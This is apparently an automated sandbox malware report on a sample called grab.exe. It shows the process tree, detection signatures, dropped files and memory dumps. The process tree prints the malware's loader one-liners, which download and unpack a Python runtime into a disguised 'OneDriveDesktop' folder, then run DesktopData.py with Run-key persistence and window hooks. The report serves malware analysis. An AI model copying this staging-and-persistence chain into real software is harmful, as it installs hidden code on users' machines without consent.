Analysis
- max time kernel
148s - max time network
138s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
30/09/2026, 00:16
General
- Target grab.exe
- Size 1.2MB
- Sample260930-akl2tssdnb
- SHA256 5b95b1492af328a055ae706c5fe8ddd6961839173aaecfbc3a76433af66ea612
Malware Config
Signatures
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 16 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\grab.exe"C:\Users\Admin\AppData\Local\Temp\grab.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c curl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\OneDriveDesktop\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl.exe -L --fail --retry 2 --retry-delay 2 --connect-timeout 30 --max-time 600 -o "C:\ProgramData\OneDriveDesktop\python.zip" "https://www.python.org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip"3⤵
-
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c tar.exe -xf "C:\ProgramData\OneDriveDesktop\python.zip" -C "C:\ProgramData\OneDriveDesktop"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tar.exetar.exe -xf "C:\ProgramData\OneDriveDesktop\python.zip" -C "C:\ProgramData\OneDriveDesktop"3⤵
-
-
-
C:\ProgramData\OneDriveDesktop\pythonw.exe"C:\ProgramData\OneDriveDesktop\pythonw.exe" "C:\ProgramData\OneDriveDesktop\DesktopData.py" """C:\ProgramData\OneDriveDesktop\pythonw.exe"" ""C:\ProgramData\OneDriveDesktop\DesktopData.py""" "DesktopData"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
C:\ProgramData\OneDriveDesktop\pythonw.exe"C:\ProgramData\OneDriveDesktop\pythonw.exe" "C:\ProgramData\OneDriveDesktop\DesktopData.py"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
DesktopData.py
VCRUNTIME140.dll
_ctypes.pyd
_hashlib.pyd
libcrypto-3.dll
libffi-8.dll
python.zip
python3.DLL
python312._pth
python312.dll
python312.zip
pythonw.exe
memory/5160-124-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-119-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-73-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-67-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-70-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-68-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-69-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-85-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-78-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-84-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-83-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-80-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-77-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-76-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-75-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-74-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-89-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-86-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-107-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-131-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-130-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-129-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-128-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-127-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-126-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-125-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-66-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-123-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-122-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-121-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-120-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-72-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-112-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-118-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-117-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-116-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-115-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-114-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-113-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-111-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-110-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-109-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-108-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-106-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-105-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-104-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-103-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-102-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-101-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-100-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-99-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-98-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-97-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-96-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-95-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-93-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-91-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-92-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-90-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-88-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-87-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-82-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-81-0x00000205C9670000-0x00000205C96DF000-memory.dmp
memory/5160-79-0x00000205C9670000-0x00000205C96DF000-memory.dmp